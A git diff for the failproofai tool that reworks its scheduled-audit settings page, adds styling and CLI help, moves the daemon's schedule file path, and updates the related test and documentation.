- /* status is best-effort; a missing poll just means we assume idle */
- }
- })();
+ mounted.current = true;
+ // Still refreshes on mount even though the server seeded us: it stamps
+ // `nowMs` for the tape, and it picks up anything that changed between the
+ // server render and the browser getting here.
+ void reload();
return () => {
- cancelled = true;
+ mounted.current = false;
};
- }, []);
+ }, [reload]);
+
+ /**
+ * Re-read when the tab regains focus.
+ *
+ * The CLI writes the same `config.json` through the same `updateConfig`, so
+ * the two can never disagree on disk — but a page left open while somebody
+ * ran `failproofai audit --schedule 7` in a terminal would keep showing the
+ * old toggle. Refreshing on focus picks that up the moment you look at it,
+ * without a timer firing on a page that is usually idle.
+ */
+ useEffect(() => {
+ const onFocus = () => void reload();
+ window.addEventListener("focus", onFocus);
+ document.addEventListener("visibilitychange", onFocus);
+ return () => {
+ window.removeEventListener("focus", onFocus);
+ document.removeEventListener("visibilitychange", onFocus);
+ };
+ }, [reload]);
- const daemonInactive = view.daemon !== "running";
- const daemonUnsupported = view.daemon === "unsupported-platform";
+ const signedIn = view?.signedInAs ?? null;
+ const daemonRunning = view?.daemon === "running";
+ const daemonUnsupported = view?.daemon === "unsupported-platform";
+ const sched = view?.schedule ?? null;
+ const lastScan = view?.lastScan ?? null;
+ const lastExitBad =
+ sched?.lastExitCode != null && sched.lastExitCode !== 0 && sched.lastExitCode !== 75;
- const onToggleAuto = useCallback(async () => {
- const next = !auto;
- setAuto(next); // optimistic
- setSavingAuto(true);
+ const enable = useCallback(async () => {
+ setBusy(true);
try {
- const res = await setAutoAuditAction(next);
+ const res = await setAutoAuditAction(true);
+ if (!res.ok) {
+ setAuto(false);
+ if (res.reason === "unreachable") {
+ // The session is fine and the network is not. Offering a code prompt
+ // here would name a failure the user does not have and hand them a
+ // flow that cannot succeed either — and abandoning it mid-way is how
+ // a working session gets replaced with none at all.
+ toast("could not reach the server. check your connection and try again.");
+ return;
+ }
+ // The server rejected the session this page had been showing an address
+ // for — expired, or minted against a different api-server. The local
+ // file is the only thing that said "signed in", and `whoAmI` has since
+ // cleared it, so re-read before opening the dialog: otherwise the page
+ // asks for an email while still displaying one.
+ await reload();
+ setAuthOpen(true);
+ toast("that sign-in expired. one more code and it's on.");
+ return;
+ }
setAuto(res.auto);
- toast(res.auto ? "Scheduled scanning on." : "Scheduled scanning off.");
- await onReload();
+ toast("scheduled audits on.");
+ await reload();
} catch {
- setAuto(!next); // revert
- toast("Could not save that.");
+ setAuto(false);
+ toast("could not turn that on.");
} finally {
- setSavingAuto(false);
+ setBusy(false);
}
- }, [auto, onReload]);
+ }, [reload]);
+
+ const onToggle = useCallback(async () => {
+ if (auto) {
+ setBusy(true);
+ try {
+ const res = await setAutoAuditAction(false);
+ // Turning it OFF is never refused, so `ok` is always true here — the
+ // narrowing is the type system's, not a case that can happen.
+ if (res.ok) setAuto(res.auto);
+ toast("scheduled audits off.");
+ await reload();
+ } catch {
+ toast("could not turn that off.");
+ } finally {
+ setBusy(false);
+ }
+ return;
+ }
+ // Turning it on needs somewhere to send the digest.
+ if (!signedIn) {
+ setAuthOpen(true);
+ return;
+ }
+ await enable();
+ }, [auto, enable, reload, signedIn]);
const commitInterval = useCallback(
async (raw: number) => {
- setSavingInterval(true);
+ setBusy(true);
try {
- // The config owns the 1..90 clamp; we reflect whatever it stored.
const res = await setAuditIntervalAction(raw);
+ // The action's return IS the authoritative value — it re-reads through
+ // `readConfig`, so it already carries the 1..90 clamp. No reload after:
+ // it would re-fetch the same number, and the schedule it would also
+ // re-read has not changed yet either, since the daemon recomputes the
+ // next due time on its own tick rather than when the interval is saved.
setIntervalDays(res.intervalDays);
- toast(`Scanning every ${res.intervalDays} day${res.intervalDays === 1 ? "" : "s"}.`);
+ // `view` is this page's mirror of what is ON DISK, and the write just
+ // changed disk — so it has to be told, even though nothing is re-read.
+ // The blur handler below skips the write when the typed value already
+ // equals `view.intervalDays`, and with the mirror left stale that guard
+ // compared against a number two edits old: type 14, blur, then type the
+ // original 7 back and the second blur was silently dropped. The input
+ // read 7, the config still said 14, and nothing said so until the next
+ // focus refresh flipped the field back.
+ setView((v) => (v ? { ...v, intervalDays: res.intervalDays } : v));
+ toast(`scanning every ${res.intervalDays} day${res.intervalDays === 1 ? "" : "s"}.`);
} catch {
- setIntervalDays(view.intervalDays);
- toast("Could not save that.");
+ setIntervalDays(view?.intervalDays ?? 7);
+ toast("could not save that.");
} finally {
- setSavingInterval(false);
+ setBusy(false);
}
},
- [view.intervalDays],
+ [view?.intervalDays],
);
+ const onSignOut = useCallback(async () => {
+ setBusy(true);
+ try {
+ await fetch("/api/auth/logout", { method: "POST" });
+ toast("signed out. scans continue; digests pause.");
+ await reload();
+ } catch {
+ toast("could not sign out.");
+ } finally {
+ setBusy(false);
+ }
+ }, [reload]);
+
const onRunNow = useCallback(async () => {
- if (runningNow || running) return;
- setRunningNow(true);
+ if (running) return;
setRunning(true);
try {
await triggerRun({ cli: [], since: "all", noCache: false });
- toast("Audit complete.");
- await onReload();
+ toast("scan complete.");
+ await reload();
} catch (err) {
- const msg =
+ toast(
err instanceof RerunError && err.kind === "timeout"
- ? "The scan is taking a while — it will finish in the background."
- : "The scan could not be completed.";
- toast(msg);
+ ? "the scan is taking a while — it will finish in the background."
+ : "the scan could not be completed.",
+ );
} finally {
- setRunningNow(false);
setRunning(false);
}
- }, [runningNow, running, onReload]);
-
- const sched = view.schedule;
- const lastExitBad =
- sched?.lastExitCode != null && sched.lastExitCode !== 0 && sched.lastExitCode !== 75;
-
- return (
-
-
-
-
Scheduled audit
-
Scan this machine on a timer, in the background.
-
-
- {view.daemon === "running" &&
daemon running }
- {view.daemon === "stopped" &&
daemon stopped }
- {view.daemon === "not-installed" &&
daemon not installed }
- {view.daemon === "unsupported-platform" &&
daemon unavailable }
-
-
-
- {/* Enable toggle + the plain statement about what the scan reads. */}
-
-
-
-
-
-
- {auto ? "Scanning this machine on a schedule." : "Scan this machine on a schedule."}
-
-
- The scan reads the contents of every session transcript on
- disk across all installed agent CLIs — your prompts, the files they read and wrote,
- and command output. It runs entirely on this machine. Nothing is sent anywhere unless
- you also turn on emailed reports below.
-
-
-
-
- {/* Interval. The number bounds mirror the config's own 1..90 clamp as a UX
- hint; the config remains the authority and we reflect what it stored. */}
-
-
- Scan every
-
- setIntervalDays(Number(e.target.value))}
- onBlur={(e) => {
- const v = Number(e.target.value);
- // A cleared/garbage field must not persist NaN — snap back to the
- // stored value and let the config keep owning the real bounds.
- if (!Number.isFinite(v)) {
- setIntervalDays(view.intervalDays);
- return;
- }
- if (v !== view.intervalDays) void commitInterval(v);
- }}
- style={{
- width: 64,
- padding: "6px 8px",
- background: "var(--bg)",
- border: "1px solid var(--line-2)",
- color: "var(--ink)",
- fontFamily: "var(--font-mono)",
- fontSize: 13,
- textAlign: "center",
- }}
- />
- day{interval === 1 ? "" : "s"}.
- 1–90; the config keeps it in range.
-
-
- {/* Last run / next due — read from the daemon-written schedule file. */}
-
- {running && (
-
A scan is running now…
- )}
+ }, [reload, running]);
- {/* Last run */}
- {sched?.lastRunAtMs != null ? (
-
- Last scheduled scan:{" "}
- {fmtAbsolute(sched.lastRunAtMs)} {" "}
- ({formatRelativeTime(sched.lastRunAtMs)})
-
- ) : view.lastResultAt ? (
-
- Last audit result:{" "}
- {fmtAbsolute(new Date(view.lastResultAt).getTime())} {" "}
- (no scheduled scan has run yet)
-
- ) : (
-
No scan has run yet.
- )}
-
- {/* Next due */}
- {auto ? (
- sched?.nextDueAtMs != null ? (
-
- Next scan due:{" "}
- {fmtAbsolute(sched.nextDueAtMs)} {" "}
- ({fmtFuture(sched.nextDueAtMs)})
-
- ) : (
-
- Next scan:{" "}
- the daemon will schedule it shortly.
-
- )
- ) : (
-
Scheduled scanning is off — no scan is scheduled.
- )}
-
- {lastExitBad && (
-
- The last scheduled scan exited with code {sched?.lastExitCode}. It will retry on the
- next tick.
-
- )}
- {sched?.schemaAhead && (
-
- A newer daemon wrote this schedule; some fields may not be shown.
-
- )}
-
-
- {/* Degraded daemon guidance — say plainly why "on" may still not run. */}
- {auto && daemonInactive && (
-
- {daemonUnsupported ? (
- <>The background daemon isn't available on this platform, so scheduled scans
- can't run here. You can still run one now, and use the audit page.>
- ) : view.daemon === "not-installed" ? (
- <>Scheduled scanning is on, but the background service isn't installed, so nothing
- will run on the timer yet. Install it with failproofai config .>
- ) : (
- <>Scheduled scanning is on, but the background service is stopped, so nothing will run
- until it starts. Reinstall or repair it with failproofai config .>
- )}
-
- )}
-
- {/* Run now — reuses the existing /api/audit/run route via triggerRun. */}
-
-
- {runningNow || running ? "[ scanning… ]" : "[ run a scan now ]"}
-
-
-
+ const onAuthed = useCallback(
+ async (_user: AuthedUser) => {
+ setAuthOpen(false);
+ await reload();
+ await enable();
+ },
+ [enable, reload],
);
-}
-
-// ── page ─────────────────────────────────────────────────────────────────────
-export default function SettingsClient() {
- const [scheduled, setScheduled] = useState(null);
- const [loading, setLoading] = useState(true);
- const [error, setError] = useState(false);
- const mounted = useRef(true);
-
- const reload = useCallback(async () => {
- const s = await getScheduledAuditAction();
- if (!mounted.current) return;
- setScheduled(s);
- }, []);
-
- useEffect(() => {
- mounted.current = true;
- (async () => {
- try {
- await reload();
- } catch {
- if (mounted.current) setError(true);
- } finally {
- if (mounted.current) setLoading(false);
+ // ── the four stats ────────────────────────────────────────────────────────
+ // Each is one fact from one source. Where a value is unknown it says so; "—"
+ // and 0 are deliberately different claims, because a machine that scanned and
+ // found nothing is not the same as a file we could not read.
+
+ const daemonCell = (() => {
+ if (!view) return { value: "…", sub: "reading" } as const;
+ if (daemonRunning) {
+ const up =
+ view.daemonStartedAtMs != null && nowMs > 0
+ ? `up ${fmtSpan(Math.max(0, nowMs - view.daemonStartedAtMs))}`
+ : "";
+ return { value: "running", sub: up, tone: "ok" as const };
+ }
+ if (daemonUnsupported) return { value: "unavailable", sub: "not on this platform" } as const;
+ // The sub-line carries the REMEDY, not a restatement of the value. Both
+ // states have the same one, and naming the command is the actionable half.
+ if (view.daemon === "not-installed")
+ return { value: "not installed", sub: "run failproofai config", tone: "warn" as const };
+ if (view.daemon === "unknown") return { value: "unknown", sub: "could not read it" } as const;
+ return { value: "stopped", sub: "run failproofai config", tone: "warn" as const };
+ })();
+
+ const nextCell = (() => {
+ if (!auto) return { value: "off", sub: "nothing scheduled" } as const;
+ if (sched?.nextDueAtMs == null) return { value: "pending", sub: "after the next scan" } as const;
+ return {
+ value: nowMs > 0 ? fmtUntil(sched.nextDueAtMs, nowMs) : "—",
+ sub: fmtAbsolute(sched.nextDueAtMs),
+ } as const;
+ })();
+
+ const lastCell = lastScan
+ ? {
+ value: formatRelativeTime(Date.parse(lastScan.finishedAt)),
+ sub:
+ lastScan.sessionsScanned != null
+ ? `${num(lastScan.sessionsScanned)} sessions`
+ : "scanned",
}
- })();
- return () => {
- mounted.current = false;
+ : ({ value: "none yet", sub: "run one below" } as const);
+
+ const findingsCell = (() => {
+ if (!lastScan) return { value: "—", sub: "no scan yet" } as const;
+ if (lastScan.findings == null) return { value: "—", sub: "unreadable" } as const;
+ return {
+ value: num(lastScan.findings),
+ sub: "this scan",
+ ...(lastScan.findings > 0 ? { tone: "warn" as const } : {}),
};
- }, [reload]);
+ })();
return (
-
-
- Settings
-
-
- Machine-level controls for scheduled scanning and emailed reports.
-
-
- {loading ? (
- Loading…
- ) : error || !scheduled ? (
-
- Could not load settings. Refresh to try again.
-
+
+
+
settings
+
keeping watch, so you don't have to.
+
+
+ {loadError ? (
+
+
+
+ could not read this machine's settings. check that the
+ dashboard can reach ~/.failproofai/config.json.
+
+
+
) : (
-
+
+
+
+
+
+
+
+
+
+
+
scheduled audit
+
+
+
void onToggle()}
+ label={auto ? "turn off scheduled audits" : "turn on scheduled audits"}
+ />
+
+
+ {auto ? "scanning on a schedule." : "scan on a schedule."}
+
+
+ {auto
+ ? "you'll get an email only when a scan finds something."
+ : "off. nothing runs and nothing is sent."}
+
+
+
+
+
+ scan every
+ setIntervalDays(Number(e.target.value))}
+ onBlur={(e) => {
+ const v = Number(e.target.value);
+ if (!Number.isFinite(v)) {
+ setIntervalDays(view?.intervalDays ?? 7);
+ return;
+ }
+ if (v !== view?.intervalDays) void commitInterval(v);
+ }}
+ />
+ days
+
+ {MIN_INTERVAL_DAYS}–{MAX_INTERVAL_DAYS}
+
+
+
+
+
+
+ {signedIn ? (
+ <>
+ reports go to
+ {signedIn.email}
+ void onSignOut()}
+ >
+ sign out
+
+ >
+ ) : auto ? (
+ // A control, not just a sentence. This state told the user
+ // to sign in and gave them nothing to sign in WITH: the
+ // dialog opened only from the off→on toggle and from
+ // `enable()`'s rejection path, so somebody whose session
+ // died while the timer stayed on had to guess that toggling
+ // off and back on was the way through. The CLI recovers
+ // from this in one command; the dashboard could not recover
+ // from it at all.
+ <>
+
+ signed out — scans continue, digests are paused.
+
+ setAuthOpen(true)}
+ >
+ sign in to resume
+
+ >
+ ) : (
+
+ turning this on asks for an email, so there is somewhere to
+ send the report.
+
+ )}
+
+
+ {auto && view && !daemonRunning && (
+
+ {daemonUnsupported
+ ? "the background service isn't available on this platform, so scheduled scans can't run here. you can still run one now."
+ : view.daemon === "not-installed"
+ ? "the background service isn't installed, so nothing will run on the timer. install it with `failproofai config`."
+ : "the background service is stopped, so nothing will run until it starts. repair it with `failproofai config`."}
+
+ )}
+
+ {lastExitBad && (
+
+ the last scheduled scan exited {sched?.lastExitCode}. the next
+ one will still run.
+
+ )}
+
+
+ void onRunNow()}
+ >
+ {running ? "[ scanning… ]" : "[ run a scan now ]"}
+
+
+
+
+
+
how it works
+
+ {HOW_IT_WORKS.map((row) => (
+
+
{row.label}
+ {row.body}
+
+ ))}
+
+
+
+
+ )}
+
+ {auto && nowMs > 0 && (
+
)}
+
+ setAuthOpen(false)}
+ onAuthed={(u) => void onAuthed(u)}
+ />
);
}
diff --git a/app/settings/settings.css b/app/settings/settings.css
new file mode 100644
index 000000000..87d0ff2bb
--- /dev/null
+++ b/app/settings/settings.css
@@ -0,0 +1,354 @@
+/* /settings — a console for the service running on this machine.
+ *
+ * Every colour is an existing token from globals.css. No new hue, no third
+ * accent: pink is the control that acts and anything that needs a person, mint
+ * is the thing that is alive, everything else is the charcoal stack and the ink
+ * ramp. The chunky pixel shadow comes from `.btn-press`, which already exists —
+ * this file puts one on the console and nothing else.
+ *
+ * ## The hairline grid
+ *
+ * Every rule between cells is a `gap: 1px` over a line-coloured background, not
+ * a border on each cell. Borders double where two cells meet and go missing at
+ * the edges; a gap over a background cannot do either, so the grid is exactly
+ * one pixel everywhere by construction rather than by arithmetic.
+ *
+ * The tape is the only drawn element on the page. That is the budget.
+ */
+
+.set-sec {
+ max-width: 940px;
+}
+
+/* ── the console: stat row over panel row, one hairline grid ──────────────── */
+
+.set-console {
+ display: flex;
+ flex-direction: column;
+ /* The gap IS the grid — see the note above. */
+ gap: 1px;
+ background: var(--line);
+ border: 1px solid var(--line);
+ /* Print-register depth, matching `.btn-press`. Hard offset, never a blur. */
+ box-shadow: 6px 6px 0 0 var(--accent-pink-shadow);
+}
+
+.set-cell {
+ background: var(--bg-2);
+ padding: 20px 22px;
+}
+
+.set-stats {
+ display: grid;
+ grid-template-columns: repeat(4, 1fr);
+ gap: 1px;
+ background: var(--line);
+}
+
+.set-stat {
+ background: var(--bg-2);
+ padding: 16px 18px 15px;
+ display: flex;
+ flex-direction: column;
+ gap: 7px;
+ min-width: 0;
+}
+.set-stat-label {
+ font-family: var(--font-mono);
+ font-size: 9.5px;
+ font-weight: 500;
+ letter-spacing: 0.18em;
+ text-transform: uppercase;
+ color: var(--dim);
+}
+.set-stat-value {
+ /* The pixel display face, on the page title and these four numbers only. */
+ font-family: var(--font-display);
+ font-size: 26px;
+ line-height: 1;
+ letter-spacing: 0.04em;
+ color: var(--ink);
+ text-transform: lowercase;
+ /* Four cells of digits should line up as a row, not drift per glyph width. */
+ font-variant-numeric: tabular-nums;
+ overflow-wrap: anywhere;
+}
+.set-stat-value.ok { color: var(--accent-green); }
+.set-stat-value.warn { color: var(--accent-pink); }
+.set-stat-sub {
+ font-family: var(--font-mono);
+ font-size: 10.5px;
+ line-height: 1.5;
+ color: var(--ink-2);
+ /* Reserve the line even when empty, so cells with and without a sub-line
+ * keep the same height and the row's baselines stay level. */
+ min-height: 1.5em;
+}
+
+/* ── panel row: controls, then what the scan does ─────────────────────────── */
+
+.set-cols {
+ display: grid;
+ /* ~56/44 — the controls carry more, so they get more. */
+ grid-template-columns: 1.28fr 1fr;
+ gap: 1px;
+ background: var(--line);
+}
+
+.set-config {
+ display: flex;
+ flex-direction: column;
+ gap: 16px;
+}
+
+.set-cell-title {
+ font-family: var(--font-mono);
+ font-size: 10px;
+ font-weight: 600;
+ letter-spacing: 0.18em;
+ text-transform: uppercase;
+ color: var(--ink-2);
+ margin: 0;
+}
+
+.set-actions {
+ margin-top: auto;
+ padding-top: 4px;
+}
+
+/* ── how it works ─────────────────────────────────────────────────────────── */
+
+.set-how {
+ display: flex;
+ flex-direction: column;
+ gap: 16px;
+}
+.set-how-list {
+ display: flex;
+ flex-direction: column;
+ gap: 14px;
+ margin: 0;
+}
+.set-how-row {
+ display: grid;
+ grid-template-columns: 58px 1fr;
+ gap: 12px;
+ align-items: baseline;
+}
+.set-how-label {
+ font-family: var(--font-mono);
+ font-size: 9.5px;
+ font-weight: 500;
+ letter-spacing: 0.16em;
+ text-transform: uppercase;
+ color: var(--accent-pink);
+}
+.set-how-body {
+ font-family: var(--font-mono);
+ font-size: 11.5px;
+ line-height: 1.65;
+ color: var(--ink-2);
+ margin: 0;
+}
+
+/* ── masthead ─────────────────────────────────────────────────────────────── */
+
+.set-mast {
+ margin-bottom: 28px;
+}
+.set-title {
+ /* The pixel display face, used once on the page and nowhere else. */
+ font-family: var(--font-display);
+ font-size: 40px;
+ line-height: 1;
+ letter-spacing: 0.06em;
+ color: var(--ink);
+ margin: 0 0 10px;
+ text-transform: lowercase;
+}
+.set-lede {
+ font-family: var(--font-mono);
+ font-size: 13px;
+ line-height: 1.6;
+ color: var(--ink-2);
+ margin: 0;
+ /* Wide enough to hold the sentence on one line at desktop width — 52ch broke
+ * it after "not", which reads as a typo rather than a line. */
+ max-width: 64ch;
+}
+
+/* ── the panel ────────────────────────────────────────────────────────────── */
+
+/* ── rows ─────────────────────────────────────────────────────────────────── */
+
+.set-row {
+ display: flex;
+ align-items: center;
+ gap: 12px;
+ font-family: var(--font-mono);
+ font-size: 13px;
+ color: var(--ink);
+}
+.set-row-main {
+ align-items: flex-start;
+}
+.set-row-copy {
+ display: flex;
+ flex-direction: column;
+ gap: 3px;
+ line-height: 1.5;
+}
+.set-row-interval {
+ gap: 10px;
+ flex-wrap: wrap;
+}
+.set-row-identity {
+ flex-wrap: wrap;
+ gap: 8px;
+ font-size: 12px;
+}
+
+.set-strong { color: var(--ink); }
+.set-dim { color: var(--ink-2); }
+.set-hint { color: var(--dim); font-size: 11px; }
+.set-email { color: var(--accent-green); }
+
+.set-num {
+ font-family: var(--font-mono);
+ font-size: 13px;
+ width: 62px;
+ padding: 6px 10px;
+ background: var(--bg);
+ border: 1px solid var(--line-2);
+ color: var(--ink);
+ border-radius: 0;
+}
+.set-num:focus-visible {
+ outline: 2px solid var(--accent-pink);
+ outline-offset: 1px;
+}
+
+.set-link {
+ font-family: var(--font-mono);
+ font-size: 12px;
+ color: var(--dim);
+ background: none;
+ border: none;
+ padding: 0;
+ text-decoration: underline;
+ text-underline-offset: 3px;
+}
+.set-link:hover:not(:disabled) { color: var(--ink); }
+.set-link:disabled { opacity: 0.5; cursor: not-allowed; }
+.set-link:focus-visible { outline: 2px solid var(--accent-pink); outline-offset: 2px; }
+
+.set-warn {
+ font-family: var(--font-mono);
+ font-size: 12px;
+ line-height: 1.6;
+ color: var(--accent-pink);
+ margin: 0;
+}
+.set-warn-inline { color: var(--accent-pink); }
+
+.set-rule {
+ height: 1px;
+ background: var(--line);
+ margin: 2px 0;
+}
+
+/* ── the switch ───────────────────────────────────────────────────────────── */
+
+.sw {
+ position: relative;
+ flex: none;
+ width: 38px;
+ height: 20px;
+ border-radius: 10px;
+ border: none;
+ background: var(--line-2);
+ cursor: pointer;
+ padding: 0;
+ transition: background-color 140ms cubic-bezier(0.22, 1, 0.36, 1);
+}
+.sw[data-on="true"] { background: var(--accent-pink); }
+.sw:disabled { opacity: 0.5; cursor: not-allowed; }
+.sw:focus-visible { outline: 2px solid var(--accent-pink); outline-offset: 3px; }
+.sw-knob {
+ position: absolute;
+ top: 3px;
+ left: 3px;
+ width: 14px;
+ height: 14px;
+ border-radius: 50%;
+ background: var(--bg);
+ transition: transform 140ms cubic-bezier(0.22, 1, 0.36, 1);
+}
+.sw[data-on="true"] .sw-knob { transform: translateX(18px); }
+
+/* ── the schedule tape — the one drawn element ────────────────────────────── */
+
+.tape {
+ display: flex;
+ flex-direction: column;
+ gap: 8px;
+ /* Clears the console's 6px pixel shadow rather than sitting on it. */
+ margin-top: 26px;
+}
+.tape-rail {
+ position: relative;
+ height: 3px;
+ background: var(--line-2);
+}
+.tape-fill {
+ position: absolute;
+ inset: 0 auto 0 0;
+ background: var(--accent-green);
+ opacity: 0.55;
+}
+.tape-now {
+ position: absolute;
+ top: -4px;
+ width: 2px;
+ height: 11px;
+ background: var(--accent-pink);
+ /* Centre the marker on its position rather than hanging it to the right. */
+ transform: translateX(-1px);
+}
+.tape-ends {
+ display: flex;
+ justify-content: space-between;
+ gap: 12px;
+ font-family: var(--font-mono);
+ font-size: 10.5px;
+ letter-spacing: 0.04em;
+ color: var(--dim);
+}
+.tape-next { color: var(--ink-2); }
+
+/* ── narrow ───────────────────────────────────────────────────────────────── */
+
+/* The stat row folds 4 → 2 before it folds 2 → 1: four cells at phone width
+ * would each be too narrow for a display-face number, and a single column
+ * makes four facts into a list you scroll rather than a row you scan. */
+@media (max-width: 860px) {
+ .set-stats { grid-template-columns: repeat(2, 1fr); }
+ .set-cols { grid-template-columns: 1fr; }
+}
+
+@media (max-width: 640px) {
+ .set-title { font-size: 32px; }
+ .set-console { box-shadow: 4px 4px 0 0 var(--accent-pink-shadow); }
+ .set-stat-value { font-size: 22px; }
+ .set-cell { padding: 18px; }
+}
+
+@media (max-width: 420px) {
+ .set-stats { grid-template-columns: 1fr; }
+ .set-how-row { grid-template-columns: 1fr; gap: 4px; }
+}
+
+@media (prefers-reduced-motion: reduce) {
+ .sw,
+ .sw-knob { transition: none; }
+}
diff --git a/bin/failproofai.mjs b/bin/failproofai.mjs
index a0b34cc50..419a0a53f 100755
--- a/bin/failproofai.mjs
+++ b/bin/failproofai.mjs
@@ -329,6 +329,12 @@ COMMANDS
audit Audit your agent's behavior, then open the
dashboard at http://localhost:8020/audit
+ audit --schedule [days] Audit on a timer (default 7 days) and email you
+ what it finds. Signs you in the first time;
+ --email skips that question
+ audit --no-schedule Stop auditing on a timer
+ audit --status Whether scheduling is on, where reports go, and
+ when the next scan is due
audit --help, -h Show this help for the audit command
backfill Re-send history the collector already read past
diff --git a/bin/failproofaid-shim.mjs b/bin/failproofaid-shim.mjs
old mode 100644
new mode 100755
diff --git a/components/navbar.tsx b/components/navbar.tsx
index 32a7fa33f..86bfb4d91 100644
--- a/components/navbar.tsx
+++ b/components/navbar.tsx
@@ -1,16 +1,22 @@
-/** Top navigation bar — wordmark, primary nav, refresh + reach-developers controls.
+/** Top navigation bar — wordmark, primary nav, refresh + settings + reach-us.
*
* Restyled to the audit / brutalist-pixel-craft system: the wordmark uses the
* same pixel pink mark + Bitcount Prop Single lowercase name as the audit
* report, and each nav link is a `.tab` with a sharp pink underline on the
- * active route. No lucide icons in the bar itself — the chrome stays text-
- * forward to match the rest of the design system.
+ * active route.
+ *
+ * The bar was text-forward with no icons. Settings is the one exception, and
+ * deliberately so: the tabs are VIEWS OF DATA (projects, policies, audit) and
+ * settings is machine configuration, so putting it in that row would have
+ * claimed it was another place to look at results. As an icon among the other
+ * chrome controls it reads as what it is.
*/
"use client";
import React from "react";
import Link from "next/link";
import { usePathname } from "next/navigation";
+import { Settings } from "lucide-react";
import { ReachDevelopers } from "@/components/reach-developers";
import { RefreshButton } from "@/app/components/refresh-button";
import { usePostHog } from "@/contexts/PostHogContext";
@@ -19,7 +25,6 @@ const NAV_LINKS = [
{ href: "/projects", label: "projects" },
{ href: "/policies", label: "policies" },
{ href: "/audit", label: "audit" },
- { href: "/settings", label: "settings" },
];
const REMOTE_LOGO_URL =
@@ -131,6 +136,30 @@ export const Navbar: React.FC<{
+ {/* Settings sits between the refresh controls and reach-us as an ICON,
+ not a nav tab: it is machine configuration rather than a view of the
+ data, so it belongs with the other chrome controls rather than
+ beside projects / policies / audit.
+
+ Being chrome rather than a tab is what put it OUTSIDE the filter
+ above, so `FAILPROOFAI_DISABLE_PAGES=settings` hid nothing and the
+ gear kept pointing at a page the operator had turned off. The tabs
+ and the icon are different placements of the same idea, and the
+ filter applies to both. */}
+ {!disabledPages.includes("settings") && (
+ <>
+
+
+
+
+ >
+ )}
diff --git a/crates/failproofaid/src/paths.rs b/crates/failproofaid/src/paths.rs
index 204e534c1..b5b05ef6f 100644
--- a/crates/failproofaid/src/paths.rs
+++ b/crates/failproofaid/src/paths.rs
@@ -138,10 +138,17 @@ pub fn flush_request_path() -> io::Result {
Ok(failproofai_home()?.join("state").join("flush-request.json"))
}
+/// `~/.failproofai/audit/schedule.json` — when the scheduled audit last ran and
+/// when the next one is due.
+///
+/// Layout 4 moved it out of `state/` and in beside the audit results it belongs
+/// with. Still daemon-sole-writer, still `derived` on the CLI side; only the
+/// directory changed. `every_mirrored_path_agrees_with_fp_home_ts` is what makes
+/// the two halves of that move land together — a home where the daemon writes
+/// the old path and the dashboard reads the new one does not fail, it just shows
+/// "no scheduled scan has run yet" forever.
pub fn audit_schedule_path() -> io::Result {
- Ok(failproofai_home()?
- .join("state")
- .join("audit-schedule.json"))
+ Ok(failproofai_home()?.join("audit").join("schedule.json"))
}
/// `~/.failproofai/state/telemetry-id` — the anonymous instance id the CLI
@@ -187,7 +194,7 @@ pub fn failproofai_home() -> io::Result {
/// `src/hooks/fp-home.ts`, and the parity test below asserts the two agree —
/// every path in this file is only correct for one layout, so a mismatch here is
/// a daemon reading and writing somewhere nothing else looks.
-pub const LAYOUT_VERSION: u32 = 3;
+pub const LAYOUT_VERSION: u32 = 4;
/// `~/.failproofai/VERSION` — the layout marker the CLI stamps.
pub fn version_file_path(home: &std::path::Path) -> PathBuf {
diff --git a/crates/failproofaid/tests/audit_lane_e2e.rs b/crates/failproofaid/tests/audit_lane_e2e.rs
index 66b91a541..43913dd56 100644
--- a/crates/failproofaid/tests/audit_lane_e2e.rs
+++ b/crates/failproofaid/tests/audit_lane_e2e.rs
@@ -124,8 +124,12 @@ fn wait_for(path: &Path, within: Duration) -> bool {
false
}
+/// Spelled out rather than calling `paths::audit_schedule_path()`, so this
+/// asserts the LOCATION as well as the round trip: a test that derived the path
+/// from the code under test would keep passing if the daemon moved the file
+/// somewhere the dashboard never reads. Layout 4 moved it out of `state/`.
fn schedule_path(home: &Path) -> PathBuf {
- home.join("state").join("audit-schedule.json")
+ home.join("audit").join("schedule.json")
}
fn write_schedule(home: &Path, body: &str) {
@@ -312,9 +316,12 @@ fn a_schedule_that_cannot_be_written_is_reported_once_not_once_a_tick() {
r#"{"audit":{"auto":true,"interval_days":7}}"#,
)
.unwrap();
- // `state` as a regular file: create_dir_all fails with EEXIST, which is the
- // same shape as a read-only mount or a full disk and needs no root to set up.
- std::fs::write(home.join("state"), "not a directory").unwrap();
+ // `audit` as a regular file: create_dir_all fails with EEXIST, which is the
+ // same shape as a read-only mount or a full disk and needs no root to set
+ // up. It was `state` until layout 4 moved the schedule into `audit/` — and
+ // blocking the wrong directory does not fail loudly here, it just lets the
+ // write succeed and the test assert against a complaint that never comes.
+ std::fs::write(home.join("audit"), "not a directory").unwrap();
let marker = home.join("ran");
let daemon = spawn_daemon(&home, &stub_cli(&marker, 0));
diff --git a/docs/cli/audit.mdx b/docs/cli/audit.mdx
index dce3f35dc..6118c708c 100644
--- a/docs/cli/audit.mdx
+++ b/docs/cli/audit.mdx
@@ -50,9 +50,12 @@ failproofai
- Run `failproofai audit -h` (or `--help`) to see usage. The audit runs **fully
- offline** — no account or network required — and the dashboard keeps serving
- until you stop it with `Ctrl+C`.
+ Run `failproofai audit -h` (or `--help`) to see usage. A bare `failproofai
+ audit` needs **no account**, and **nothing from your sessions leaves this
+ machine** — anonymous usage counts still apply unless you set
+ `FAILPROOFAI_TELEMETRY_DISABLED=1`. The dashboard keeps serving until you stop
+ it with `Ctrl+C`. [Scheduled audits](#scheduled-audits) are the one exception:
+ they can email you what a scan finds, and you opt into that explicitly.
The dashboard scans past agent CLI transcripts on this machine (Claude Code, Codex, Copilot, Cursor, OpenCode, Pi) and reports how often the agent did things failproofai is built to stop — env-var checks, force pushes, redundant `cd ` prefixes, sleep-polling loops, re-reading files just edited, and more.
@@ -77,8 +80,47 @@ the background. It is **off by default**, because the scan reads the *contents*
of every agent session transcript on this machine — nothing scans on a timer
until you ask for it.
-Turn it on in `~/.failproofai/config.json` — add the `audit` key alongside
-whatever else the file already holds:
+Turn it on from the terminal — this works on a headless box, and it is the
+only path that also sets up the email digest:
+
+```bash
+failproofai audit --schedule 7 --email you@yourdomain.com
+```
+
+| Command | What it does |
+|---|---|
+| `failproofai audit --schedule [days]` | Scan on a timer (default 7, clamped 1–90). Signs you in the first time, because the digest needs somewhere to go. |
+| `failproofai audit --schedule [days] --email you@yourdomain.com` | Same, answering the address up front so you go straight to entering the emailed code. |
+| `failproofai audit --no-schedule` | Stop scanning on a timer. Leaves you signed in. |
